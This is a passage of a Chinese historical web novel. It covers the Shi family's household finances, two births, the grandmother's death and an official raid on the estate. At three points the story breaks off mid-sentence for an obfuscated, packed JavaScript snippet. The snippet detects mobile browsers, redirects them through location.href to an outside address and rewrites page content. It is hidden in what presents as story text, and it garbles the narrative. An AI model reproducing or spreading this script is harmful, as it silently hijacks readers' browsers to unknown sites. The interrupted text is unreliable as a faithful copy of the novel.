林绵直言:“我不在乎你们有没有越轨,六妹妹。即使你明日就嫁给他做世子夫人,我也没有什么大不了——反正早晚那个位子上都要有人,是你我说不定还开心些。但是我也要为我自己考虑,楚王府没有外人看起来那般简单,楚王妃待我很疏离,那两位郡主也都不是好相与的,他们兄妹三人三位生母,平日里说话都得处处小心。我尚未立稳脚跟——”她吸了口气,又道,“我知道承祐二年你做云和公主伴读的时候见过他,他还给过你玉佩,也许你们之后就没有联系,但是少年相遇,总是有些情谊在的吧?我虽原是慕州人,可在慕州的那几年也未曾见过他。” 师冉月闻言一愣,随即似乎嘴角带了些林绵看不懂的笑:“三位生母吗?楚王内宅的事我倒也不太曾听说。” 林绵点头:“楚王的原配是他还只是五皇子时的皇子妃,叫作唐珞,就是如今贤妃娘娘的堂妹,与你母亲唐夫人也是同族,承祐五年的时候因病去世了。同一年楚王就迎娶了商户出身的王妃辛氏,也就是如今淑宁郡主的生母。淑宁郡主与辛氏一同进府时就已经十岁了,若真是王爷的血脉,那大概辛氏也早就是养在外面的外室了。承祐六年辛氏因病暴亡,而后楚王才扶正了原先的侧妃萧氏,也就是如今的楚王妃,沐安郡主的生母。” 讲完这些,似是如梦初醒般,林绵歉意地笑笑:“我如今也算楚王的媳妇,这样妄议长辈总是不好的,你只当故事听吧。我也是这些日子好不容易打听明白这些旧事,才好不出错,实在是无人说了。” 师冉月却仍带着一副考究的眼神,道:“这么说,世子的生母是唐氏王妃?” 林绵八卦般讲:“自然。府里的人都这么讲。不过王爷是承祐六年也就是辛氏王妃去世的那年请立的世子,有人说这是对唐氏王妃的补偿,我倒总觉得不太对,也不好仔细打听。” 师冉月也只听八卦般笑笑,却骤然转换了话题,道:“你大可不必担心。我们所说的事与内宅无关。告诉你地址引你前来的那个人最知道我们谈的是什么了,你大可以直接去问她。” 林绵僵了僵。 师冉月了然于心,又道:“明日你们就要启程回慕州了罢?” “没错。”林绵揉了揉眉心,似是有些恼怒,又有些无奈。师冉月却扬起笑容,眼里是真诚的笑意,像头上轻轻晃动的银铃般惹人喜欢:“以茶代酒,祝你一路顺风、万事胜意。” 林绵愣了愣,旋即也笑起来:“也祝你一切安好、逢凶化吉。” 师晟外放后,萧晨的身体也逐渐好转,但总放心不下小师焕,精力大不如从前。年后端木婉又有了身孕,仿佛师焕的降生连带着把师家这一辈的孩子全送过来了。唐烨一半欢喜一半愁,终还是抓了女儿师冉月做苦力,顺带时不时请岳诗韫放下诗书捡起账本。 音儿偷偷与师冉月讲:“我娘说以夫人的能力自己一个人管一大家子绰绰有余,之所以总劳烦岳夫人,是怕大姑娘出嫁后,四公子又常在练武场呆着,岳夫人太无聊烦闷,而之所以叫姑娘你帮忙,则是觉得——” “觉得什么?” “姑娘你太愚钝了!”音儿话音未落就拿着针线筐跑出了屋,徒留师冉月对着又交到她手里的账本干瞪眼,而马上还要端起笑脸来给师家上下发放月钱。 那就克扣音儿半两银子吧。师冉月忿忿地想。反正音儿成日里与她同吃同睡,少这半两,却不知道实际上多出来多少两了。 唐烨却在每日晚间空闲时将师冉月叫到留容轩去专意教导:“如今只是先让你从旁协助,只是接触了几个部分。你须知道,这一个账本背后的学问可多了,几乎便可以涵盖全族上下内外大小事务。由家及国,太平盛世治理国家,讲究的便是要人经世济民。从税收到财政,几乎就是维持一个国家的根本。” “齐家、治国、平天下?” “是这个理。” “可外面文人多宣扬视钱财如粪土。” “所以他们只是文人,而非治世之臣。”唐烨轻蔑道,“父母教你们兄妹习书,是为了明理致用,文采飞扬固然是好事,可那不是看书的最终目的,切不可‘讳言财利’。”又拿着账本指道:“今日你发放月钱,可有什么感悟?” 师冉月想了会儿,道:“祖母、娘、二娘都是十两,崔姨娘、大嫂、二嫂、三嫂各八两,四个哥哥与我也是各八两,以惠嫂为首的三个管事娘子是四两,音儿她们各房的大丫鬟共十二人是三两,其余小丫鬟和粗使婆子三十人每人半两,不算前院小厮与护卫,每月公中在月钱上支出便是一百六十五两,是每月支出的最大头。” 唐烨摇了摇头:“你只是看这账本上记了个数。何况这只是今日来向你领月钱的人,各庄子里的人的开支都是惠嫂着人送去的,你明日还要再记上。我且问你,如今若咱们家中开支紧张,你该如何调整各项支出?” “月钱依次削减一些?” 唐烨笑道:“具体削减多少?这般安排的依据又是什么?” 师冉月盯着账本皱眉,唐烨摇了摇手中的团扇,慢慢道:“咱们家中,上到你祖母,下到你们兄弟姐妹,各院的小厨房和基本物资都是公中统一配置,所以每月月钱主要不过是零用,这便都可以按需削减,家里人也不会多生怪。而家中仆从的钱便要当心。惠嫂、音儿她们这都是宽裕的,但小丫鬟们和粗使婆子,许多要靠月钱勉强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226121|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维持生计,若有些什么急用,比方说家中办红白大事,或有人生了重病,光靠月钱可能还不够。此时削减便要度量着不能断人生路,否则轻则仆从办事马虎糊弄、消极怠工,重则则是他们要起来反抗你的时候。” “可若适当削减也不能保证收支平衡呢?” “那就放奴。将外面雇来的人解雇,买来的人再卖出去。且记住,先卖后解。买来的人都是奴籍,他们的命是在我们手里的;雇佣的人则是自由身,倘若出了岔子,闹大了,虽也可以解决,但面上不好看,过程也麻烦。这只是人员上的开支,另一项重要的支出便是采买。采买此事,你只能控制钱从府里出去和东西从外面进来,个中过程却是专门负责此事的人办的。我们自幼长在内院,并没有他们更知道市集上的具体行情。” “那若是有人从中谋私该如何?” “谋私利是必然的,你无法接触到最下边的人,而中间的人或多或少会为自己考虑,这点私利也是他们效忠你为你办事的动力。你只需运用手段适当约束,把私利控制在一定的范围内便可。” 师冉月点了点头。唐烨接着又问:“这是把钱给你叫你安排如何花的方法。可这钱是从哪里来的呢?” “爹爹和兄长们的俸禄,侯爵的食邑,年节的礼金,庄子里的上供,还有铺面的租金?”师冉月边翻看账本边答道。 唐烨摇头:“少了最重要的一项——田租。” 师冉月恍然。唐烨又接着道:“你爹和你兄长们的俸禄每年加起来不过二百多两,阳曲侯的食邑是虚给的,每年按理五百两,实际上能有三百两便是好的。公主和郡主的食邑都是她们的私房钱不算在公中,年节的礼金人家给进来,我们还礼说不定更多,是以,公中的钱主要来源便是庄子里的上供、铺面的租金,还有最多的田租。” “可我看那田租不稳定得很。年前逢州的管事岳伯不是还跟爹爹说今年又没收到预定的租金?” “但田租,是能从中榨取最多的。我们敬奉皇天后土,实际上不都是希望能有好的收成?不只是每日在土地上亲自劳作的农民,我们所有人都是要靠土地吃饭的。再者,对于农民来讲,他们的靠土地吃饭,是希望有好的收成,以便交完田租或赋税后自家所剩还可糊口,而我们靠土地吃饭,除了你所听的田租,还有每年交上来的稻麦实物,甚至包括厨房里用的柴草。还有些果子蔬菜,量少且精的进了厨房,量多的也由管事带人直接到集市上专卖,换作银钱交上来。 “京城里和逢州我们家的商铺,少数是家生子在管,多数租了出去,而租者多是些工匠手艺人,他们籍贯上是自由民,我们只能收租,无权指使奴役。而且国家律例对商税等规定严格,限制颇多,我们从中干涉便容易出岔子。何况铺面的位置十分重要。京中东坊和京华道上那作酒楼的和卖脂粉的、还有逢州主街上的几个铺面就颇赚钱,西坊的和逢州其余的就差些。” 还有那两个青楼。师冉月默默补充。 “庄子里的上供是占少数的,一则皇上赐下来的那两个庄子,大半还是要供给上面的。二则庄子多在山丘上,土地不甚肥沃,大多也都栽种果树和木材。木材生长耗时久,果树产的果子若不能及时收成和售卖便容易腐烂,虽卖出去看似钱多了,可我们先前投入的也不少。土地则不一样。农民租种我们的土地是要自己缴税的,只要不超过律例太多,这田租收多少便是我们自己定,而佃户不光要向我们交田租,还要上供实物,那么如果你放任他们偷懒,收上来的就少,如果安排专人管理催使他们多劳作,收上来的自然就多。农闲时还可以将佃户调来做工,这便是免费的劳力了。” 师冉月瞠目结舌:“可这便不是压榨了吗?” 唐烨冷淡道:“你所要做的,是先管好自己。慈善是有空闲有余力时做给旁人看的,各家不过都是摆个样子。你看城中那些伯爵、子爵和四品官往下的人家,怎么就不施粥?施粥的人家里那些家底薄的,那粥都快比得上清水了。何况我们供给他们土地,留他们一口吃食,总比你去施粥的那些流民要好吧?” 师冉月低头,看着账本沉默不语。 7. 第 7 章 七月初三,师霖与端木萌的长女、师家这一辈的长女师婷欢出生了。 因着端木萌后几个月终于不恶心后为了把头几个月补回来开始大吃大喝,便有些胎大难产。岳皇后着黄掌宫将太医院里一半的太医都给请了过来,唐烨也特意请了先后给定陶公主的一子一女和萧晨接生过的胡稳婆请了来坐镇。 全家上下的女眷除了赵霞云外都坐在留润轩屋内内室的屏风外等着,师霖则被拦在屋外,在院子里团团转。 师冉月挨着已经有快六个月身孕的端木婉,看她挺着半圆的肚子冒冷汗,担忧道:“二嫂,不然我还是送你回留瑞轩吧?” 端木婉虽像是已经笑不出来了,但表情仍然很冷静:“无妨。我先看看云姝生产,到我那时候也就有数了。” 师冉月劝说无果,想着屋内全是太医,大概也不会出什么事,便也先作罢,不过一边听着端木萌努力控制却控制不住的暗哑嘶吼揪心着急,一边时刻留意端木婉的表情状态。一会儿功夫下来也是弄了一身汗。 端木萌的指甲死死扣住系在床柱上的布条,双手却因为出汗一次又一次脱力。虽然行湘和另一个侍女尧儿反复给她擦拭着脸上和脖颈上的汗,可她的头发还是完全被打湿,凌乱地缠绕在有些惨白的脸颊上和颈子上。她按着稳婆的嘱咐反复用力,却还是觉得孩子的头就卡在下面出不去。 她已经分不清是□□、腹部还是哪里混着撕裂和抽筋的疼了,却仍死死咬住嘴唇——宫里的女子生产除了平卿贵妃难产而亡的那次没有发出多大哭喊声音的,她便也打心底觉得那样不体面,即便嘴唇已经咬的出血发麻、牙关颤抖,也最多只是在嗓子里发出嘶哑的呜咽。迷蒙间似乎萧晨匆忙进了屏风里来,迅速伸手掐住她的下颚,把她的嘴唇和即将遭难的舌尖解救出来,给她唇上的伤口草草上了点药,又给她灌进半碗参汤。 萧晨一直安抚性地拍着端木萌的手臂,似乎嘴里还喊着些什么,但端木萌已经听不清了。迟迟没有进展,唯有血水一盆一盆往出端,急的师霖绕到后院扒着窗,透着窗纸模模糊糊盯着里面的情况,听着端木萌越来越大声的闷哼甚至尖叫,只能隔着窗子大声喊着她的名字。 一阵几乎叫端木萌失去意识的阵痛袭来,她眼前一白,终于听见孩子的啼哭。 唐烨和岳诗韫也都进来,高兴地看了看孩子,便叫早已选好的奶娘将孩子抱下去收拾清洗。师霖三步并两步跨进屋中,扶着端木萌的肩,笑道:“你太厉害了云姝,我们有女儿了!”端木萌吃力笑笑,脸上十分苍白,众人赶紧又将太医叫进来诊脉,确认没有旁的问题,那边就也有人跟着把滋补的汤食端了进来,哄端木萌吃下一些,便都退去,只留着师霖,好叫端木萌休息。 师冉月只看了眼端木萌和孩子,就帮着先送端木婉回去歇息,又叫太医来诊了脉,才完全松了气。 端木婉柔柔笑着:“怎么把你吓成这样。” 师冉月心有余悸:“二嫂,你方才脸都白了,满头的冷汗,叫我怎么不担心?” 端木婉眼神放空,半晌,直到师冉月觉得她是累了想要先走时,才又看向师冉月:“我自家的嫂子还没有过孩子。虽然我母妃是因为生完我的后遗症去世的,可我对女子生产还是没有什么确切的概念,直到今天,亲眼见云姝生产。你说女子,是怎么用肚子怀了那么一个比头还大的孩子呢?” 师冉月安慰道:“也不是人人生子都像今日三嫂那么吓人的,去年大嫂生焕哥儿的时候就很顺利,稳婆来了不到一个时辰就生下来了。” 端木婉摇头:“不是一个问题。六妹妹,我到今日认识你二哥还不足一年,虽然他是个好人,但我谈不上多么爱他。可是我却要为他花费这么多的精力去生养一个孩子,而好似大家都觉得这本就是天经地义的事,我却突然想不明白了。” 三个多月后,师穆与端木婉的长女、师家的二姑娘出生。 师霖与端木萌的孩子的名字是师霖亲自取的,因为正是荷花盛开的季节,便取“如有意,慕娉婷”的“婷”字,有希望她常享欢愉,就叫做“婷欢”。师穆与端木婉的女儿则是师道旷抱着熟睡的孩子端详良久,取了名字叫“景安”。师冉月说这名字听着像男孩子的名字,又问师道旷名字的寓意:“我要给姐姐写信呢,正好叫她知道。” 师道旷笑了笑:“许愿年景安定罢。” 未曾想,一个月后,吏部上书弹劾师道旷在办承平郡主和云和公主婚事时侵吞国库财产,上“念公主、郡主之情,兼阳曲侯多年劳苦”,只降为御史大夫。 师吟月往家中连寄了好几封信,给师冉月的那两封她摊在桌子上尚未拆封。吟月会说些什么她大底心里都有数,没什么好着急的,反倒是如今赵老夫人听闻师道旷遭贬,犯了心疾,只好卧床修养。冉月忙着照顾祖母,看着一碗碗汤药喝下去却不见起色,反倒是赵霞云开始咳喘起来,急得去找萧晨道:“当真不能请胡太医过府吗?祖母这病总不能一直按原来的方子吃药,外面那大夫不知道祖母原先的症状,也不大敢用药,这怎么能行!纵然爹爹不是太傅了,却也是阳曲侯,何况御史大夫家便轻贱了太医的面子吗?” 萧晨摇头叹气,只教人再多请几位大夫一起诊治,道:“我已叫我兄长请应郡的名医进京了。太医是今上眼前的人,怎么敢在这个时候与我们有太多瓜葛。” 师冉月无奈,只得一边亲自照顾着祖母,一边继续督促人找寻靠谱的名医。可京城中虽广罗天下能人异士,然则官宦人家多还是请太医过府诊治,既彰显地位,又能打听些宫里的事,何况太医的医术虽不能说是天下数一数二,但在宫中做事总也是叫人放心的。而京郊和京中寻常百姓人家看的大夫,往往不想惹上事端,听见是官宦人家相求,无论有多重的礼金,也总是闭门不见。 师道旷面对母亲的病却也不能多做些什么,在朝堂上仍昂首淡然,回家面对母亲与着急的女儿却总是愧疚得无以复加。赵霞云虽没什么力气,却只笑着安慰儿子与孙女,又详装严厉,对师道旷道:“不要为我浪费精力。你要看顾的不是我这一个老太婆,而是全家的人。如今也是有孙子孙女的人了,凡事都要思量妥当、再妥当。” 对师冉月却温柔道:“生死有命,原本就是上天定下来的事,无须为此太过悲伤,也不该妄加干涉。” 师冉月扭过头红了眼眶,正巧端木婉和端木萌抱着婷欢和景安来陪老太太,师冉月也就先抽身到岁苍斋的小露台上。音儿找到她,急忙为她披上厚披风:“如今已是腊月了,姑娘你怎么还到这露台来,当心吹风着凉。” “着凉算什么。我瞧着祖母一口血一口血混着药往出吐,才是难受。她原先......原先还......”师冉月哽咽起来,音儿轻轻搂住她,拍着她的背安慰着。明明比自家姑娘还小半岁的年纪,却仿若姐姐般一心一意照顾着师冉月。师冉月把头埋进披风和音儿的臂弯,好一会儿,才带着鼻音道:“原先她还瞒着我,叫齐娘帮她掩饰痰盂和帕子上的血,这些天却也不避讳着我了。” 她好像已经准备好要离开了。 这是师冉月第一次经历死别。 祖父师虑去世的时候,师冉月尚还未出生。她也只在祖母和父亲偶尔说起往事时,从他们对祖父的追忆的言语中,隐隐感觉到怀念和伤感。 真正披上麻戴上孝,看着满府白纷纷,她才渐渐意识到这不是她穿着素衣又去谁家吊唁应酬了,而是她的祖母,住在岁苍斋,为她修小露台、时时准备着果脯的祖母。 尽管早有准备,她还是感到揪心的痛楚,在每一处提醒她祖母过世的地方,都好似有双无形的手逼着她一次次红了眼眶,匆匆躲回留华轩。音儿也只站在一旁沉默着陪着她。她枯坐在窗前,直到窗外渐次掌灯,逐渐亮起的灯光透过窗纸将她从发呆中唤醒,她缓缓活动了下脖颈,音儿于是便也上前将桌上的灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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端木萌想她其实该是最能预期到如今的局面的,甚至比在高堂上立了半辈子的师道旷还明白——坐在那个位子上的人是她的父亲,是平时可以撒娇唤“爹爹”,震怒时便要立即跪下低头叫“皇上”的人。今上十八岁登基,从父亲手上接过了淮朝一百七十余年的江山,也接过了无数祖宗家法、陈规旧习。先前世人称他是中兴之君,任用师虑、师道旷、岳义、岳和、户部尚书施仲等人,平复北疆,收复东北失地,治世有方,硬是把这艘已经行到中途飘零单薄的航船纠正了些航线,叫人仰佩。然而大概十来年前,他便逐渐行老庄“无为之治”,放手朝政,渐渐不再做出什么新的决断,也越来越叫外头的平民百姓看不清天子的形象。 但是她是知道的。她知道他枉杀了崇义县主的丈夫又匆匆把亲女儿观文公主嫁给好色滥赌的崇义县主的儿子......为了把控太子迟迟不封太子妃又叫人给太子喜欢的舞姬和缨喂了红花封为太子贵嫔......还有平卿贵妃——外人看上去无上荣宠的原来的纯妃官月舟,她不会忘记她是怎么死的——难产吗——那分明是中毒!只因为官家氏与师家交好,而太医说纯妃怀的可能是个皇子。 一桩桩一件件,她自小看见的听见的想明白的,一切都告诉她,坐在那个位子上的人杀伐果断喜怒无常。只涉及百姓或家国大事时他会显得无比明智公允,可一旦有人疑似染指他的权力、毁坏他的形象,他会阴晴不定,抬手戏弄、落手毁灭。 师家的未来似乎显而易见,她出面也不会有什么用,她不过是个身上既流着端木氏又流着岳氏的血的公主,一个名碟摆在宗庙族谱里给天下人和祖宗看的公主。而面对师家之事,她就只是师家三公子师霖的妻子,仅此而已了。 只是她不明白师霖为什么仍然很潇洒不羁云淡风轻的样子,除了对祖母去世的伤感,好像没有别的情绪。师穆也是如此,仍然沉稳平静。萧晨也是。甚至师冉月似乎也是。 她手边的纸钱已经烧尽了。抬头,她对上端木婉的眼睛。 师霖走进来,给赵霞云上了香后,向她伸出手。她借力起身。二人并肩向端木婉点头示意便出了灵堂,端木婉也微微笑笑,便又继续叠着经幡了。 8. 第 8 章 四月里,桃花开了遍地。 书房里,端木萌一步步往前,把师霖逼到书案和太师椅的夹缝中间,师霖却只笑嘻嘻地扶着她的肩,把她按到椅子上坐着——她如今身子又大了,不方便得很。她在安放赵霞云牌位的那一天,跪在祠堂里突然晕了过去,太医一看才知道是年前的事情了,把上到唐烨岳诗韫下到师霖担心得不行。师家遵循老祖宗的家训,守孝过了四十九日一应事宜便照旧,这是往昔于战乱年代,无比重视生产而其余都是次要带来的家训,也在与其他人家家训的对比中,给师家后人带来了快速调整情绪和永远往前看的习惯。 于是师家如今又与一年前的情况相同:再次同时有两位孕妇端木萌和端木婉。 师穆和师骁被调到京郊军营,而师霖如今赋闲,却也不常呆在家里,但是但凡在家就紧着端木萌和孩子们,顺便嘱咐妹妹照顾好二嫂,拜托大嫂照顾家里三个小孩子。 端木萌认真盯着师霖问:“你是不是有什么事瞒着我——你的事,或者你家的事?” “说什么呢,这也是你家啊。”师霖打哈哈道。 “别闹,我说正经的。”端木萌一巴掌打在他胳膊上。 师霖仍旧顾左右而言他,招呼着行湘她们来侍候端木萌换下汗湿的衣服,自己踱出屋去,只道:“将来你就知道了。” 留华轩里,师冉月合上窗子,把北面院子里三哥和三嫂还有丫鬟们的嬉闹声关在外面,拉着眼眶红肿的官和言坐在内室的榻上:“你怎么自己跑出来了?” 官和言话音里满是哭腔:“宫里来了密旨,要我嫁给闽中郡王。先王妃下葬后便要准备婚事了。”闽中郡王同时娶了一妻一妾,郡王妃荆栖是安王妃的堂妹,侧妃是上任丞相宋期之女宋滢。荆栖成婚不久就怀了身孕,朝中都以为会是今上的长孙,因此还专意庆贺,师家也往郡王府送了礼,谁承想怀胎五个月时突然小产,孩子没了,也带着荆栖出血不止,最终血崩而亡。 大家都以为闽中郡王会等三年后扶正宋滢,甚至荆栖的葬礼上就已经有人暗中示好宋滢,官和言还与师冉月私下里讨论过荆栖为何会好端端的突然就滑了胎,谁承想宫里却先下了密旨叫官氏准备婚事,只等荆栖正式下葬后,就要立官和言为闽中郡王妃。 师冉月背上突然起了一层冷汗。她看着整个人都提不起精神的官和言,心中突然有一个令她胆寒的设想:人质。 名门望族送女子进宫或嫁入皇族,简直像是在交人质给端木氏。 她扯嘴笑笑,笑容却像是洇水又风干的书页般褶皱:“总归是正妃。你能做好的。何况就算真有什么,先王妃家族不显,荆氏又只在息州势大,但你的父兄都在京城,宫里也要看着平卿贵妃的面子,你将来的日子肯定也会是好日子的......我刚叫小厨房做了扯面,你要不要来一碗?” 师吟月看着端木婉歇下,便匆匆回留华轩拿了信,往前院去找师霖。 “姐姐来信,说诏书令李既和李泊即日出征西北平叛。” “同时去的还有定陶公主的驸马岳炳。”师霖沉声道。他接过师吟月的信又看了一遍,只道:“你给她回信,叫她莫要着急,总归新宁公主仍在侯府,叫她好好养胎,安心把孩子生下来。” 师冉月皱眉,正欲说些什么,师霖的随侍袁例却敲了敲门道:“后院传话来,施尚书的夫人来访,夫人叫二小姐回去见客。”师冉月应了声,从师霖手中抽出师吟月的信,便匆匆回去了。 一路上师冉月都在调整心绪。户部尚书施仲的夫人唐昧是贤妃唐瑾的嫡亲姑母、唐烨的唐姑母。她与施仲没有儿子,也没从宗族过继,只有两个女儿,大女儿施谧嫁给了岳义的侄子岳和,也没有亲生的子女,只有三个庶子女,然而她却亲自抚养了岳义的亲孙子、定陶公主的驸马岳炳,岳炳也待她如亲生母亲般。唐昧的二女儿则是当今的贵妃施荫,也是闽中郡王的生母。 师冉月想着,脑子里却突然响起那天端木玄说的话:“朋党。” “虽然没有人挑明,但显然早在今上还是太子时为了笼络师氏把妻妹嫁给你父亲的时候,你们这一党就已经形成了。师、岳、施、官甚至唐、萧等等,你们这些家族一衣带水,早就已经分不开了。而这些人当年推今上登上皇位,如今也是他皇权的最大威胁者。并且,朝中不是只有这几个姓氏,宫中年轻的妃子也很少有出自这些人家的了。另一个党派还未完全形成,可显然已经在酝酿。一旦形成,便是无休无止的朋党之争,直到——” 门前侍立的丫鬟掀起坠着流苏的帘子,师冉月抬头笑着进了留容轩,行礼道:“老夫人安。” 唐昧笑着拉过师冉月的手,道:“好些日子不见,瞧着越发是个大姑娘了。”赵霞云去世时赶上施仲生病,唐昧又一到冬日里就犯腿疾不大能走动,于是便托女儿施谧带到了心意。因此唐昧上次见到师冉月,也得说是师焕出生的时候了。师焕如今已经能自己在地上走动两步,由奶娘在后面跟着以防摔倒,便有模有样地自己在地下转着,一个一个打量周遭坐着的人。 婷欢和景安还由奶娘抱着见客,她们俩各自完美继承了自己母亲的性格:婷欢活泼跳脱,很精神地咿咿呀呀个地不停,葡萄般的眼睛转得飞快;景安则很安静,被奶娘抱着一会儿就睡着了,虽然是眼尾微微上挑的眼型,脸骨也偏瘦削,但整张小脸看上去很柔和。三个孩子最大的相同之处便是鼻子:山根处偏矮,鼻峰却很高,几个月大的时候就能看出来,和他们的父亲姑姑如出一辙。 唐昧自己没有孙辈,又喜欢小孩子,抓着机会便要抱个不松手,直到唐烨笑着劝说她莫要伤了手,她才恋恋不舍地把景安交给奶娘,而另一边先前抱过的婷欢却又冲她伸手咿咿呀呀地讨抱了,看得一屋子大人都笑起来。 正笑着,却听见一阵急促的脚步声,紧接着便见袁例掀开帘子闯了进来,未待唐烨出声责备,先道:“史太尉带人来抄家了,请夫人小姐们回避。” 众人登时大惊,廊下一个侍立的小丫头甚至叫出了声,却又立刻被旁边一个年长的婆子拧了耳朵拉了下去。唐烨立即起身,呵斥住了惊慌失措想要逃窜的丫鬟婆子们,又给惠嫂使了个眼色。惠嫂心领神会,立即出门管束内院的一众仆从。唐烨旋即着人将唐昧从后院角门送回施府,接着问袁例道:“三公子在何处?” “属下来的时候公子还在集德堂。宫里皇后娘娘送了信出来,紧接着钱公公就先来宣旨了。” “你回去跟着他罢。”唐烨点了点头,又立即吩咐青芜去将岳诗韫叫来,萧晨已先领奶娘们将孩子们抱到留容轩东厢。 师冉月屏气看着母亲和嫂子有条不紊地指挥着一切,仿佛抄家并不是什么天大的事,只是接待一下新上任的史太尉来做客。她只觉得自己好像忽略了什么很重要的事,心里一直吊着。却是音儿小声在她耳边惊呼了一下:“姑娘,妆匣里的信!” 师冉月一惊,立即道:“你即刻回去把信取来,从蒹葭馆前走,莫要让多余的人看见。”音儿应声便走。师冉月心里凌乱着,顾不上母亲和嫂子们又在说些什么做些什么,只好兀自坐回椅子上,手指没有节奏又快速紧密地轻轻敲击着把手,直到音儿回来,用帕子包着一卷信纸,悄悄塞进了师冉月的袖子中。 未几,史太尉带着两队官兵进到留容轩前,唐烨和岳诗韫步履从容走了出去,迎面对上他。史太尉一双尖眼带着笑向她们行了个礼,道:“二位夫人好。敝人奉今上的令,来贵府探看一番,想必府上三公子已经告知您们了吧?” 唐烨面无表情,只道:“请自便。” 史太尉也不计较,只一挥手示意身后官兵,笑道:“失礼了。” 官兵们得了指令,向四周散去,随手挥着刀剑砍在花草和石柱上,带起的尘土瞬间搅得整个院子乌烟瘴气。岳诗韫拿起帕子随手掩住了口鼻。史太尉悠哉悠哉地睨了她一眼,接过身后站着的侍从奉上的茶,慢条斯理地啜了一口,随手把剩下的茶水浇在地上,道:“云和公主殿下和承平郡主殿下可也都在呢?” 闻言,一早立在门边盯着外面动静的端木萌待不住了,抬手便掀了门帘跨出门去,杏眼圆睁,道:“本公主自然好好得在这里。史自兴,别说你如今只是成了太尉,便是你来日封了三公,也容不得你在我面前不敬!”端木婉也随她走了出来,虽未开口,只默默立在端木萌身旁,柔和的五官轮廓却是不怒自威的气派,眉眼仿佛是蒙上一层冰霜的剑,只冷冷盯着史太尉。 史自兴却也不急,笑着照礼给端木萌和端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226123|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木婉行了礼:“臣怎敢不敬公主、郡主。”却又直起腰身来,瘪着嘴道:“不过公主和郡主如今也是师家的儿媳了,也得与师家、共——荣——辱——不是?”又转向唐烨:“唐夫人如今也莫拘着礼节了,请贵府女眷都出来罢?这留容轩,敝人自也得探看一番,免得叫我手下这帮粗人没轻没重伤了谁不是?” 话音未落,萧晨已带着师冉月走了出来,后面跟着奶娘各自抱着三个孩子。而紧跟着又有五队家丁装扮的,两两抬了五口大箱子到院中一字摆开,伴着先前去四处“探看”的官兵空着手一一回来。唐烨笑了笑:“想必太尉的手下也没有什么收获,免得太尉没法回去交差,我们家替你先准备了些出来。” 萧晨抬手示意,箱子一一被打开,两箱是装满的金条金块,两箱是银子,还有一箱翡翠珠宝的首饰,看得官兵们眼发直。史自兴铁青了脸,扫视了一圈满目狼藉的师家宅,嘴角勾着诡异的弧度。这宅子之精美,皇家园林亦不遑多让。从前他在此应酬,对师道旷,甚至是师晟师穆师霖师骁,卑躬屈膝,如今目之所及满目疮痍,他的心头涌起蒸腾的快感。他抬脚,踱了两步,到那口装满首饰的箱子前,弯下腰,伸手捞了一把珍珠,又张开手让珠子如沙子般从指缝慢慢滑落回箱子里。又拿起一个红宝石的戒指,对着阳光照了照,挤到自己粗肥的手指上,对着唐烨和岳诗韫转了转手,道:“谢夫人好意。”而后便转了身,也没管那几个箱子,带着望眼欲穿的两队官兵离开了内院。 师冉月顺着他们离开的方向望去,被砍的东倒西歪的杨树后,隐隐能看见祠堂被砸开的窗棂,像被人骤然砍倒的巨木突兀又诈眼。 史太尉背着手,路过集德堂,见师霖仍双手垂着拿着明黄锦缎的圣旨,脸上看不出表情,却似乎隐隐带着些嘲弄的笑意,目送他们离开。袁例站在被一刀切断的檀木案几旁,微微垂着头。主仆二人倒仿佛只是如常送客,不见端倪。史自兴觉得什么情绪又从腹中席卷到整个胸腔,眸光暗了下来,却终是什么也没说,转身迈出了门。 “我母后身边的人传了消息出来,侯爷的确是在宫中。”端木萌看着皱眉的唐烨,和岳诗韫对视了一眼。岳诗韫抚上唐烨的小臂,开口道:“皇后娘娘和太子殿下都在宫里,不会有什么事的。”唐烨却仍紧皱着眉,头微低着,双目似是盯着眼前暗红色的地毯,又似是在放空。端木萌见状,道:“不如我进宫去打听一下罢?” 唐烨仍未说话,岳诗韫却眼神示意端木萌快去。端木萌抽身便要出去,却迎面撞上走进来的师霖。师霖满目严肃,沉声道:“新得到的消息,这次怕是要不好。我已送信给大哥、二哥和四弟。我想先去东宫找太子殿下问问。” 唐烨一下子活动起来,身形却有些发抖,起身看向儿子,道:“分清主次。若是,若是有万一......我们不会怪你,你父亲也不会怪你。”师冉月闻言一愣,盯着母亲却说不出话,只好又转头看向萧晨。萧晨却也只微微垂着头,似是早已知悉,完全默认。师霖也很镇定,只沉沉望了母亲一眼,随即安抚住端木萌:“你身子不方便,在家歇着,等我消息。” 端木萌有些恍然。她似乎从师霖眼底看出了什么她不想承认的东西,却也强忍着点了点头。师霖于是放下她的手转身离去。尧儿快步上前搀扶住她,接住她的重量。端木萌却微微侧身攥住尧儿的手,嘴角有些干裂,像是枯败的玫瑰花瓣,道:“叫人备车。我要入宫。” 端木婉手扶着腰走过来道:“你入宫,只会提醒今上师家还有个你在。” 